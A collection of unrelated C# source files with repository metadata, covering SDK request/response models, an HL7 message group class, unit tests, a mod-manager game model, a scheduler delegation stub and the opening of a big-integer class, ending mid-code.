property.ActualSchema.Item.ActualSchema.Properties["Id"].Type); } public class MyType { [System.ComponentModel.Description("Test")] public int Integer { get; set; } public decimal Decimal { get; set; } public double Double { get; set; } public bool Boolean { get; set; } public int? NullableInteger { get; set; } public decimal? NullableDecimal { get; set; } public double? NullableDouble { get; set; } public bool? NullableBoolean { get; set; } public string String { get; set; } [JsonProperty("abc")] public string ChangedName { get; set; } [Required] public MySubtype RequiredReference { get; set; } [RegularExpression("regex")] public string RegexString { get; set; } [Range(5, 10)] public int RangeInteger { get; set; } public MySubtype Reference { get; set; } public MySubtype[] Array { get; set; } public Collection<MySubtype> Collection { get; set; } public List<MySubtype> List { get; set; } [JsonConverter(typeof(StringEnumConverter))] public MyColor Color { get; set; } } public class MySubtype { public string Id { get; set; } } public enum MyColor { Red, Green, Blue } } }
38.855072
134
0.602947
[ "MIT" ]
Alikont/NJsonSchema
src/NJsonSchema.Tests/Conversion/TypeToSchemaTests.cs
10,726
C#
/* * Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ namespace TencentCloud.Ecm.V20190719.Models { using Newtonsoft.Json; using System.Collections.Generic; using TencentCloud.Common; public class EnableRoutesResponse : AbstractModel { /// <summary> /// 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 /// </summary> [JsonProperty("RequestId")] public string RequestId{ get; set; } /// <summary> /// For internal usage only. DO NOT USE IT. /// </summary> public override void ToMap(Dictionary<string, string> map, string prefix) { this.SetParamSimple(map, prefix + "RequestId", this.RequestId); } } }
30.181818
81
0.663404
[ "Apache-2.0" ]
TencentCloud/tencentcloud-sdk-dotnet
TencentCloud/Ecm/V20190719/Models/EnableRoutesResponse.cs
1,386
C#
using HttpConflictException = Saklient.Errors.HttpConflictException; namespace Saklient.Cloud.Errors { /// <summary>要求された操作を行えません。このストレージ上への指定リソースの複製は実行されていません。 /// </summary> public class NotReplicatingException : HttpConflictException { /// <summary> /// <param name="status" /> /// <param name="code" /> /// <param name="message" /> /// </summary> public NotReplicatingException(long status, string code=null, string message="") : base(status, code, message == null || message == "" ? "要求された操作を行えません。このストレージ上への指定リソースの複製は実行されていません。" : message) { /*!base!*/; } } }
25
196
0.681667
[ "MIT" ]
223n/saklient.cs
src/Saklient/Cloud/Errors/NotReplicatingException.cs
776
C#
using NHapi.Base.Parser; using NHapi.Base; using NHapi.Base.Log; using System; using System.Collections.Generic; using NHapi.Model.V251.Segment; using NHapi.Model.V251.Datatype; using NHapi.Base.Model; namespace NHapi.Model.V251.Group { ///<summary> ///Represents the PPG_PCG_GOAL Group. A Group is an ordered collection of message /// segments that can repeat together or be optionally in/excluded together. /// This Group contains the following elements: ///<ol> ///<li>0: GOL (Goal Detail) </li> ///<li>1: NTE (Notes and Comments) optional repeating</li> ///<li>2: VAR (Variance) optional repeating</li> ///<li>3: PPG_PCG_GOAL_ROLE (a Group object) optional repeating</li> ///<li>4: PPG_PCG_GOAL_OBSERVATION (a Group object) optional repeating</li> ///<li>5: PPG_PCG_PROBLEM (a Group object) optional repeating</li> ///<li>6: PPG_PCG_ORDER (a Group object) optional repeating</li> ///</ol> ///</summary> [Serializable] public class PPG_PCG_GOAL : AbstractGroup { ///<summary> /// Creates a new PPG_PCG_GOAL Group. ///</summary> public PPG_PCG_GOAL(IGroup parent, IModelClassFactory factory) : base(parent, factory){ try { this.add(typeof(GOL), true, false); this.add(typeof(NTE), false, true); this.add(typeof(VAR), false, true); this.add(typeof(PPG_PCG_GOAL_ROLE), false, true); this.add(typeof(PPG_PCG_GOAL_OBSERVATION), false, true); this.add(typeof(PPG_PCG_PROBLEM), false, true); this.add(typeof(PPG_PCG_ORDER), false, true); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error creating PPG_PCG_GOAL - this is probably a bug in the source code generator.", e); } } ///<summary> /// Returns GOL (Goal Detail) - creates it if necessary ///</summary> public GOL GOL { get{ GOL ret = null; try { ret = (GOL)this.GetStructure("GOL"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } } ///<summary> /// Returns first repetition of NTE (Notes and Comments) - creates it if necessary ///</summary> public NTE GetNTE() { NTE ret = null; try { ret = (NTE)this.GetStructure("NTE"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } ///<summary> ///Returns a specific repetition of NTE /// * (Notes and Comments) - creates it if necessary /// throws HL7Exception if the repetition requested is more than one /// greater than the number of existing repetitions. ///</summary> public NTE GetNTE(int rep) { return (NTE)this.GetStructure("NTE", rep); } /** * Returns the number of existing repetitions of NTE */ public int NTERepetitionsUsed { get{ int reps = -1; try { reps = this.GetAll("NTE").Length; } catch (HL7Exception e) { string message = "Unexpected error accessing data - this is probably a bug in the source code generator."; HapiLogFactory.GetHapiLog(GetType()).Error(message, e); throw new System.Exception(message); } return reps; } } /** * Enumerate over the NTE results */ public IEnumerable<NTE> NTEs { get { for (int rep = 0; rep < NTERepetitionsUsed; rep++) { yield return (NTE)this.GetStructure("NTE", rep); } } } ///<summary> ///Adds a new NTE ///</summary> public NTE AddNTE() { return this.AddStructure("NTE") as NTE; } ///<summary> ///Removes the given NTE ///</summary> public void RemoveNTE(NTE toRemove) { this.RemoveStructure("NTE", toRemove); } ///<summary> ///Removes the NTE at the given index ///</summary> public void RemoveNTEAt(int index) { this.RemoveRepetition("NTE", index); } ///<summary> /// Returns first repetition of VAR (Variance) - creates it if necessary ///</summary> public VAR GetVAR() { VAR ret = null; try { ret = (VAR)this.GetStructure("VAR"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } ///<summary> ///Returns a specific repetition of VAR /// * (Variance) - creates it if necessary /// throws HL7Exception if the repetition requested is more than one /// greater than the number of existing repetitions. ///</summary> public VAR GetVAR(int rep) { return (VAR)this.GetStructure("VAR", rep); } /** * Returns the number of existing repetitions of VAR */ public int VARRepetitionsUsed { get{ int reps = -1; try { reps = this.GetAll("VAR").Length; } catch (HL7Exception e) { string message = "Unexpected error accessing data - this is probably a bug in the source code generator."; HapiLogFactory.GetHapiLog(GetType()).Error(message, e); throw new System.Exception(message); } return reps; } } /** * Enumerate over the VAR results */ public IEnumerable<VAR> VARs { get { for (int rep = 0; rep < VARRepetitionsUsed; rep++) { yield return (VAR)this.GetStructure("VAR", rep); } } } ///<summary> ///Adds a new VAR ///</summary> public VAR AddVAR() { return this.AddStructure("VAR") as VAR; } ///<summary> ///Removes the given VAR ///</summary> public void RemoveVAR(VAR toRemove) { this.RemoveStructure("VAR", toRemove); } ///<summary> ///Removes the VAR at the given index ///</summary> public void RemoveVARAt(int index) { this.RemoveRepetition("VAR", index); } ///<summary> /// Returns first repetition of PPG_PCG_GOAL_ROLE (a Group object) - creates it if necessary ///</summary> public PPG_PCG_GOAL_ROLE GetGOAL_ROLE() { PPG_PCG_GOAL_ROLE ret = null; try { ret = (PPG_PCG_GOAL_ROLE)this.GetStructure("GOAL_ROLE"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } ///<summary> ///Returns a specific repetition of PPG_PCG_GOAL_ROLE /// * (a Group object) - creates it if necessary /// throws HL7Exception if the repetition requested is more than one /// greater than the number of existing repetitions. ///</summary> public PPG_PCG_GOAL_ROLE GetGOAL_ROLE(int rep) { return (PPG_PCG_GOAL_ROLE)this.GetStructure("GOAL_ROLE", rep); } /** * Returns the number of existing repetitions of PPG_PCG_GOAL_ROLE */ public int GOAL_ROLERepetitionsUsed { get{ int reps = -1; try { reps = this.GetAll("GOAL_ROLE").Length; } catch (HL7Exception e) { string message = "Unexpected error accessing data - this is probably a bug in the source code generator."; HapiLogFactory.GetHapiLog(GetType()).Error(message, e); throw new System.Exception(message); } return reps; } } /** * Enumerate over the PPG_PCG_GOAL_ROLE results */ public IEnumerable<PPG_PCG_GOAL_ROLE> GOAL_ROLEs { get { for (int rep = 0; rep < GOAL_ROLERepetitionsUsed; rep++) { yield return (PPG_PCG_GOAL_ROLE)this.GetStructure("GOAL_ROLE", rep); } } } ///<summary> ///Adds a new PPG_PCG_GOAL_ROLE ///</summary> public PPG_PCG_GOAL_ROLE AddGOAL_ROLE() { return this.AddStructure("GOAL_ROLE") as PPG_PCG_GOAL_ROLE; } ///<summary> ///Removes the given PPG_PCG_GOAL_ROLE ///</summary> public void RemoveGOAL_ROLE(PPG_PCG_GOAL_ROLE toRemove) { this.RemoveStructure("GOAL_ROLE", toRemove); } ///<summary> ///Removes the PPG_PCG_GOAL_ROLE at the given index ///</summary> public void RemoveGOAL_ROLEAt(int index) { this.RemoveRepetition("GOAL_ROLE", index); } ///<summary> /// Returns first repetition of PPG_PCG_GOAL_OBSERVATION (a Group object) - creates it if necessary ///</summary> public PPG_PCG_GOAL_OBSERVATION GetGOAL_OBSERVATION() { PPG_PCG_GOAL_OBSERVATION ret = null; try { ret = (PPG_PCG_GOAL_OBSERVATION)this.GetStructure("GOAL_OBSERVATION"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } ///<summary> ///Returns a specific repetition of PPG_PCG_GOAL_OBSERVATION /// * (a Group object) - creates it if necessary /// throws HL7Exception if the repetition requested is more than one /// greater than the number of existing repetitions. ///</summary> public PPG_PCG_GOAL_OBSERVATION GetGOAL_OBSERVATION(int rep) { return (PPG_PCG_GOAL_OBSERVATION)this.GetStructure("GOAL_OBSERVATION", rep); } /** * Returns the number of existing repetitions of PPG_PCG_GOAL_OBSERVATION */ public int GOAL_OBSERVATIONRepetitionsUsed { get{ int reps = -1; try { reps = this.GetAll("GOAL_OBSERVATION").Length; } catch (HL7Exception e) { string message = "Unexpected error accessing data - this is probably a bug in the source code generator."; HapiLogFactory.GetHapiLog(GetType()).Error(message, e); throw new System.Exception(message); } return reps; } } /** * Enumerate over the PPG_PCG_GOAL_OBSERVATION results */ public IEnumerable<PPG_PCG_GOAL_OBSERVATION> GOAL_OBSERVATIONs { get { for (int rep = 0; rep < GOAL_OBSERVATIONRepetitionsUsed; rep++) { yield return (PPG_PCG_GOAL_OBSERVATION)this.GetStructure("GOAL_OBSERVATION", rep); } } } ///<summary> ///Adds a new PPG_PCG_GOAL_OBSERVATION ///</summary> public PPG_PCG_GOAL_OBSERVATION AddGOAL_OBSERVATION() { return this.AddStructure("GOAL_OBSERVATION") as PPG_PCG_GOAL_OBSERVATION; } ///<summary> ///Removes the given PPG_PCG_GOAL_OBSERVATION ///</summary> public void RemoveGOAL_OBSERVATION(PPG_PCG_GOAL_OBSERVATION toRemove) { this.RemoveStructure("GOAL_OBSERVATION", toRemove); } ///<summary> ///Removes the PPG_PCG_GOAL_OBSERVATION at the given index ///</summary> public void RemoveGOAL_OBSERVATIONAt(int index) { this.RemoveRepetition("GOAL_OBSERVATION", index); } ///<summary> /// Returns first repetition of PPG_PCG_PROBLEM (a Group object) - creates it if necessary ///</summary> public PPG_PCG_PROBLEM GetPROBLEM() { PPG_PCG_PROBLEM ret = null; try { ret = (PPG_PCG_PROBLEM)this.GetStructure("PROBLEM"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } ///<summary> ///Returns a specific repetition of PPG_PCG_PROBLEM /// * (a Group object) - creates it if necessary /// throws HL7Exception if the repetition requested is more than one /// greater than the number of existing repetitions. ///</summary> public PPG_PCG_PROBLEM GetPROBLEM(int rep) { return (PPG_PCG_PROBLEM)this.GetStructure("PROBLEM", rep); } /** * Returns the number of existing repetitions of PPG_PCG_PROBLEM */ public int PROBLEMRepetitionsUsed { get{ int reps = -1; try { reps = this.GetAll("PROBLEM").Length; } catch (HL7Exception e) { string message = "Unexpected error accessing data - this is probably a bug in the source code generator."; HapiLogFactory.GetHapiLog(GetType()).Error(message, e); throw new System.Exception(message); } return reps; } } /** * Enumerate over the PPG_PCG_PROBLEM results */ public IEnumerable<PPG_PCG_PROBLEM> PROBLEMs { get { for (int rep = 0; rep < PROBLEMRepetitionsUsed; rep++) { yield return (PPG_PCG_PROBLEM)this.GetStructure("PROBLEM", rep); } } } ///<summary> ///Adds a new PPG_PCG_PROBLEM ///</summary> public PPG_PCG_PROBLEM AddPROBLEM() { return this.AddStructure("PROBLEM") as PPG_PCG_PROBLEM; } ///<summary> ///Removes the given PPG_PCG_PROBLEM ///</summary> public void RemovePROBLEM(PPG_PCG_PROBLEM toRemove) { this.RemoveStructure("PROBLEM", toRemove); } ///<summary> ///Removes the PPG_PCG_PROBLEM at the given index ///</summary> public void RemovePROBLEMAt(int index) { this.RemoveRepetition("PROBLEM", index); } ///<summary> /// Returns first repetition of PPG_PCG_ORDER (a Group object) - creates it if necessary ///</summary> public PPG_PCG_ORDER GetORDER() { PPG_PCG_ORDER ret = null; try { ret = (PPG_PCG_ORDER)this.GetStructure("ORDER"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; } ///<summary> ///Returns a specific repetition of PPG_PCG_ORDER /// * (a Group object) - creates it if necessary /// throws HL7Exception if the repetition requested is more than one /// greater than the number of existing repetitions. ///</summary> public PPG_PCG_ORDER GetORDER(int rep) { return (PPG_PCG_ORDER)this.GetStructure("ORDER", rep); } /** * Returns the number of existing repetitions of PPG_PCG_ORDER */ public int ORDERRepetitionsUsed { get{ int reps = -1; try { reps = this.GetAll("ORDER").Length; } catch (HL7Exception e) { string message = "Unexpected error accessing data - this is probably a bug in the source code generator."; HapiLogFactory.GetHapiLog(GetType()).Error(message, e); throw new System.Exception(message); } return reps; } } /** * Enumerate over the PPG_PCG_ORDER results */ public IEnumerable<PPG_PCG_ORDER> ORDERs { get { for (int rep = 0; rep < ORDERRepetitionsUsed; rep++) { yield return (PPG_PCG_ORDER)this.GetStructure("ORDER", rep); } } } ///<summary> ///Adds a new PPG_PCG_ORDER ///</summary> public PPG_PCG_ORDER AddORDER() { return this.AddStructure("ORDER") as PPG_PCG_ORDER; } ///<summary> ///Removes the given PPG_PCG_ORDER ///</summary> public void RemoveORDER(PPG_PCG_ORDER toRemove) { this.RemoveStructure("ORDER", toRemove); } ///<summary> ///Removes the PPG_PCG_ORDER at the given index ///</summary> public void RemoveORDERAt(int index) { this.RemoveRepetition("ORDER", index); } } }
28.801115
151
0.650532
[ "MPL-2.0", "MPL-2.0-no-copyleft-exception" ]
afaonline/nHapi
src/NHapi.Model.V251/Group/PPG_PCG_GOAL.cs
15,495
C#
// Copyright 2012 Xamarin Inc. All rights reserved #if !__WATCHOS__ using System; using System.Drawing; using Foundation; using GLKit; using ObjCRuntime; using OpenTK; using NUnit.Framework; namespace MonoTouchFixtures.GLKit { [TestFixture] [Preserve (AllMembers = true)] public class EffectPropertytTransformTest { [Test] public void Properties () { TestRuntime.AssertSystemVersion (PlatformName.MacOSX, 10, 8, throwIfOtherPlatform: false); var transform = new GLKEffectPropertyTransform (); Assert.That (transform.ModelViewMatrix.ToString (), Is.EqualTo ("(1, 0, 0, 0)\n(0, 1, 0, 0)\n(0, 0, 1, 0)\n(0, 0, 0, 1)"), "ModelViewMatrix"); Assert.That (transform.ProjectionMatrix.ToString (), Is.EqualTo ("(1, 0, 0, 0)\n(0, 1, 0, 0)\n(0, 0, 1, 0)\n(0, 0, 0, 1)"), "ProjectionMatrix"); // Is TextureMatrix supposed to be here? I can't find it in apple's docs, and it throws a selector not found exception // Assert.That (transform.TextureMatrix.ToString (), Is.EqualTo ("(0, 0, 0, 0)"), "TextureMatrix"); transform = new GLKBaseEffect ().Transform; Assert.That (transform.ModelViewMatrix.ToString (), Is.EqualTo ("(1, 0, 0, 0)\n(0, 1, 0, 0)\n(0, 0, 1, 0)\n(0, 0, 0, 1)"), "ModelViewMatrix"); Assert.That (transform.ProjectionMatrix.ToString (), Is.EqualTo ("(1, 0, 0, 0)\n(0, 1, 0, 0)\n(0, 0, 1, 0)\n(0, 0, 0, 1)"), "ProjectionMatrix"); } } } #endif // !__WATCHOS__
37.131579
147
0.671864
[ "BSD-3-Clause" ]
dottam/xamarin-macios
tests/monotouch-test/GLKit/EffectPropertyTransformTest.cs
1,411
C#
/* * Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ namespace TencentCloud.Tsf.V20180326.Models { using Newtonsoft.Json; using System.Collections.Generic; using TencentCloud.Common; public class DescribePublicConfigsRequest : AbstractModel { /// <summary> /// 配置项ID,不传入时查询全量,高优先级 /// </summary> [JsonProperty("ConfigId")] public string ConfigId{ get; set; } /// <summary> /// 偏移量,默认为0 /// </summary> [JsonProperty("Offset")] public long? Offset{ get; set; } /// <summary> /// 每页条数,默认为20 /// </summary> [JsonProperty("Limit")] public long? Limit{ get; set; } /// <summary> /// 配置项ID列表,不传入时查询全量,低优先级 /// </summary> [JsonProperty("ConfigIdList")] public string[] ConfigIdList{ get; set; } /// <summary> /// 配置项名称,精确查询,不传入时查询全量 /// </summary> [JsonProperty("ConfigName")] public string ConfigName{ get; set; } /// <summary> /// 配置项版本,精确查询,不传入时查询全量 /// </summary> [JsonProperty("ConfigVersion")] public string ConfigVersion{ get; set; } /// <summary> /// For internal usage only. DO NOT USE IT. /// </summary> internal override void ToMap(Dictionary<string, string> map, string prefix) { this.SetParamSimple(map, prefix + "ConfigId", this.ConfigId); this.SetParamSimple(map, prefix + "Offset", this.Offset); this.SetParamSimple(map, prefix + "Limit", this.Limit); this.SetParamArraySimple(map, prefix + "ConfigIdList.", this.ConfigIdList); this.SetParamSimple(map, prefix + "ConfigName", this.ConfigName); this.SetParamSimple(map, prefix + "ConfigVersion", this.ConfigVersion); } } }
31.367089
87
0.603713
[ "Apache-2.0" ]
ImEdisonJiang/tencentcloud-sdk-dotnet
TencentCloud/Tsf/V20180326/Models/DescribePublicConfigsRequest.cs
2,656
C#
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Text; namespace Sistema.Entidades.Wcm { public class Suceso { public int idsucesorelac { get; set; } [Required] [StringLength(50, MinimumLength = 3, ErrorMessage = "El nombre no debe de tener más de 50 caracteres, ni menos de 3 caracteres.")] public string nombre { get; set; } [StringLength(256)] public string descripcion { get; set; } public bool activo { get; set; } public bool eliminado { get; set; } } }
28.380952
138
0.652685
[ "Apache-2.0" ]
arielking/unilever.gost
Sistema.Entidades/Wcm/Suceso.cs
599
C#
// Copyright © Tanner Gooding and Contributors. Licensed under the MIT License (MIT). See License.md in the repository root for more information. // Ported from um/mfidl.h in the Windows SDK for Windows 10.0.20348.0 // Original source is Copyright © Microsoft. All rights reserved. using NUnit.Framework; using System; using System.Runtime.InteropServices; using static TerraFX.Interop.Windows; namespace TerraFX.Interop.UnitTests { /// <summary>Provides validation of the <see cref="IMFSAMIStyle" /> struct.</summary> public static unsafe class IMFSAMIStyleTests { /// <summary>Validates that the <see cref="Guid" /> of the <see cref="IMFSAMIStyle" /> struct is correct.</summary> [Test] public static void GuidOfTest() { Assert.That(typeof(IMFSAMIStyle).GUID, Is.EqualTo(IID_IMFSAMIStyle)); } /// <summary>Validates that the <see cref="IMFSAMIStyle" /> struct is blittable.</summary> [Test] public static void IsBlittableTest() { Assert.That(Marshal.SizeOf<IMFSAMIStyle>(), Is.EqualTo(sizeof(IMFSAMIStyle))); } /// <summary>Validates that the <see cref="IMFSAMIStyle" /> struct has the right <see cref="LayoutKind" />.</summary> [Test] public static void IsLayoutSequentialTest() { Assert.That(typeof(IMFSAMIStyle).IsLayoutSequential, Is.True); } /// <summary>Validates that the <see cref="IMFSAMIStyle" /> struct has the correct size.</summary> [Test] public static void SizeOfTest() { if (Environment.Is64BitProcess) { Assert.That(sizeof(IMFSAMIStyle), Is.EqualTo(8)); } else { Assert.That(sizeof(IMFSAMIStyle), Is.EqualTo(4)); } } } }
35.807692
145
0.624597
[ "MIT" ]
phizch/terrafx.interop.windows
tests/Interop/Windows/um/mfidl/IMFSAMIStyleTests.cs
1,864
C#
// *********************************************************************** // Assembly : IronyModManager.Models // Author : Mario // Created : 02-12-2020 // // Last Modified By : Mario // Last Modified On : 10-01-2020 // *********************************************************************** // <copyright file="Game.cs" company="Mario"> // Mario // </copyright> // <summary></summary> // *********************************************************************** using System.Collections.Generic; using System; using IronyModManager.Localization.Attributes; using IronyModManager.Models.Common; using IronyModManager.Shared; namespace IronyModManager.Models { /// <summary> /// Class Game. /// Implements the <see cref="IronyModManager.Models.Common.BaseModel" /> /// Implements the <see cref="IronyModManager.Models.Common.IGame" /> /// </summary> /// <seealso cref="IronyModManager.Models.Common.BaseModel" /> /// <seealso cref="IronyModManager.Models.Common.IGame" /> public class Game : BaseModel, IGame { #region Properties /// <summary> /// Gets or sets a value indicating whether [advanced features supported]. /// </summary> /// <value><c>true</c> if [advanced features supported]; otherwise, <c>false</c>.</value> public virtual bool AdvancedFeaturesSupported { get; set; } /// <summary> /// Gets or sets the base game directory. /// </summary> /// <value>The base game directory.</value> public virtual string BaseGameDirectory { get; set; } /// <summary> /// Gets or sets the checksum folders. /// </summary> /// <value>The checksum folders.</value> public virtual IEnumerable<string> ChecksumFolders { get; set; } /// <summary> /// Gets or sets a value indicating whether [close application after game launch]. /// </summary> /// <value><c>true</c> if [close application after game launch]; otherwise, <c>false</c>.</value> public virtual bool CloseAppAfterGameLaunch { get; set; } /// <summary> /// Gets or sets the executable location. /// </summary> /// <value>The executable location.</value> public virtual string ExecutableLocation { get; set; } /// <summary> /// Gets or sets the game folders. /// </summary> /// <value>The game folders.</value> public virtual IEnumerable<string> GameFolders { get; set; } /// <summary> /// Gets or sets a value indicating whether this instance is selected. /// </summary> /// <value><c>true</c> if this instance is selected; otherwise, <c>false</c>.</value> public virtual bool IsSelected { get; set; } /// <summary> /// Gets or sets the launch arguments. /// </summary> /// <value>The launch arguments.</value> public virtual string LaunchArguments { get; set; } /// <summary> /// Gets or sets the name of the launcher settings file. /// </summary> /// <value>The name of the launcher settings file.</value> public virtual string LauncherSettingsFileName { get; set; } /// <summary> /// Gets or sets the launcher settings prefix. /// </summary> /// <value>The launcher settings prefix.</value> public virtual string LauncherSettingsPrefix { get; set; } /// <summary> /// Gets or sets the log location. /// </summary> /// <value>The log location.</value> public virtual string LogLocation { get; set; } /// <summary> /// Gets or sets the name. /// </summary> /// <value>The name.</value> [DynamicLocalization(LocalizationResources.Games.Prefix, nameof(Type))] public virtual string Name { get; set; } /// <summary> /// Gets or sets a value indicating whether [refresh descriptors]. /// </summary> /// <value><c>true</c> if [refresh descriptors]; otherwise, <c>false</c>.</value> public virtual bool RefreshDescriptors { get; set; } /// <summary> /// Gets or sets the remote steam user directory. /// </summary> /// <value>The remote steam user directory.</value> public virtual IEnumerable<string> RemoteSteamUserDirectory { get; set; } /// <summary> /// Gets or sets the steam application identifier. /// </summary> /// <value>The steam application identifier.</value> public virtual int SteamAppId { get; set; } /// <summary> /// Gets or sets the type. /// </summary> /// <value>The type.</value> public virtual string Type { get; set; } /// <summary> /// Gets or sets the mod directory. /// </summary> /// <value>The mod directory.</value> public virtual string UserDirectory { get; set; } /// <summary> /// Gets or sets the workshop directory. /// </summary> /// <value>The workshop directory.</value> public virtual string WorkshopDirectory { get; set; } #endregion Properties } }
36.37931
105
0.559242
[ "MIT" ]
LunarTraveller/IronyModManager
src/IronyModManager.Models/Game.cs
5,277
C#
// Copyright (c) Microsoft Corporation. // Licensed under the MIT license. namespace Microsoft.Telepathy.Internal.SessionLauncher.Impls.SchedulerDelegations.Local { using System.Collections.Generic; using System.Diagnostics; using System.ServiceModel; using System.Threading.Tasks; using Microsoft.Telepathy.Internal.SessionLauncher.Impls.SessionLaunchers.Local; using Microsoft.Telepathy.Session; using Microsoft.Telepathy.Session.Data; using Microsoft.Telepathy.Session.Internal; [ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, IncludeExceptionDetailInFaults = true, MaxItemsInObjectGraph = int.MaxValue)] public class LocalSchedulerDelegation : ISchedulerAdapter { internal LocalSchedulerDelegation(LocalSessionLauncher instance) { this.sessionLauncher = instance; } private LocalSessionLauncher sessionLauncher; public async Task<bool> UpdateBrokerInfoAsync(string sessionId, Dictionary<string, object> properties) { Trace.TraceWarning($"Ignored call to {nameof(this.UpdateBrokerInfoAsync)}"); return true; } public async Task<(bool succeed, BalanceInfo balanceInfo, List<string> taskIds, List<string> runningTaskIds)> GetGracefulPreemptionInfoAsync(string sessionId) { Trace.TraceWarning($"Ignored call to {nameof(this.GetGracefulPreemptionInfoAsync)}"); return (false, null, null, null); } public async Task<bool> FinishTaskAsync(string jobId, string taskUniqueId) { Trace.TraceWarning($"Ignored call to {nameof(this.FinishTaskAsync)}"); return true; } public async Task<bool> ExcludeNodeAsync(string jobid, string nodeName) { Trace.TraceWarning($"Ignored call to {nameof(this.ExcludeNodeAsync)}"); return true; } public async Task RequeueOrFailJobAsync(string sessionId, string reason) { Trace.TraceWarning($"Ignored call to {nameof(this.RequeueOrFailJobAsync)}"); } public async Task FailJobAsync(string sessionId, string reason) => await this.sessionLauncher.TerminateAsync(sessionId); public async Task FinishJobAsync(string sessionId, string reason) => await this.sessionLauncher.TerminateAsync(sessionId); public async Task<(JobState jobState, int autoMax, int autoMin)> RegisterJobAsync(string jobid) { Trace.TraceWarning($"Ignored call to {nameof(this.RegisterJobAsync)}"); return (JobState.Running, int.MaxValue, 0); } public Task<int?> GetTaskErrorCode(string jobId, string globalTaskId) { throw new System.NotImplementedException(); } } }
39.638889
192
0.694464
[ "MIT" ]
dubrie/Telepathy
src/soa/SessionLauncher/Impls/SchedulerDelegations/Local/LocalSchedulerDelegation.cs
2,856
C#
using System; using System.Text; using System.Collections; using System.Diagnostics; using System.Globalization; namespace Lidgren.Network { /// <summary> /// Big integer class based on BouncyCastle (http://www.bouncycastle.org) big integer code /// </summary> internal class NetBigInteger { private const long IMASK = 0xffffffffL; private const ulong UIMASK = (ulong)IMASK; private static readonly int[] ZeroMagnitude = new int[0]; private static readonly byte[] ZeroEncoding = new byte[0]; public static readonly NetBigInteger Zero = new NetBigInteger(0, ZeroMagnitude, false); public static readonly NetBigInteger One = createUValueOf(1); public static readonly NetBigInteger Two = createUValueOf(2); public static readonly NetBigInteger Three = createUValueOf(3); public static readonly NetBigInteger Ten = createUValueOf(10); private const int chunk2 = 1; private static readonly NetBigInteger radix2 = ValueOf(2); private static readonly NetBigInteger radix2E = radix2.Pow(chunk2); private const int chunk10 = 19; private static readonly NetBigInteger radix10 = ValueOf(10); private static readonly NetBigInteger radix10E = radix10.Pow(chunk10); private const int chunk16 = 16; private static readonly NetBigInteger radix16 = ValueOf(16); private static readonly NetBigInteger radix16E = radix16.Pow(chunk16); private const int BitsPerByte = 8; private const int BitsPerInt = 32; private const int BytesPerInt = 4; private int m_sign; // -1 means -ve; +1 means +ve; 0 means 0; private int[] m_magnitude; // array of ints with [0] being the most significant private int m_numBits = -1; // cache BitCount() value private int m_numBitLength = -1; // cache calcBitLength() value private long m_quote = -1L; // -m^(-1) mod b, b = 2^32 (see Montgomery mult.) private static int GetByteLength( int nBits) { return (nBits + BitsPerByte - 1) / BitsPerByte; } private NetBigInteger() { } private NetBigInteger( int signum, int[] mag, bool checkMag) { if (checkMag) { int i = 0; while (i < mag.Length && mag[i] == 0) { ++i; } if (i == mag.Length) { // sign = 0; m_magnitude = ZeroMagnitude; } else { m_sign = signum; if (i == 0) { m_magnitude = mag; } else { // strip leading 0 words m_magnitude = new int[mag.Length - i]; Array.Copy(mag, i, m_magnitude, 0, m_magnitude.Length); } } } else { m_sign = signum; m_magnitude = mag; } } public NetBigInteger( string value) : this(value, 10) { } public NetBigInteger( string str, int radix) { if (str.Length == 0) throw new FormatException("Zero length BigInteger"); NumberStyles style; int chunk; NetBigInteger r; NetBigInteger rE; switch (radix) { case 2: // Is there anyway to restrict to binary digits? style = NumberStyles.Integer; chunk = chunk2; r = radix2; rE = radix2E; break; case 10: // This style seems to handle spaces and minus sign already (our processing redundant?) style = NumberStyles.Integer; chunk = chunk10; r = radix10; rE = radix10E; break; case 16: // TODO Should this be HexNumber? style = NumberStyles.AllowHexSpecifier; chunk = chunk16; r = radix16; rE = radix16E; break; default: throw new FormatException("Only bases 2, 10, or 16 allowed"); } int index = 0; m_sign = 1; if (str[0] == '-') { if (str.Length == 1) throw new FormatException("Zero length BigInteger"); m_sign = -1; index = 1; } // strip leading zeros from the string str while (index < str.Length && 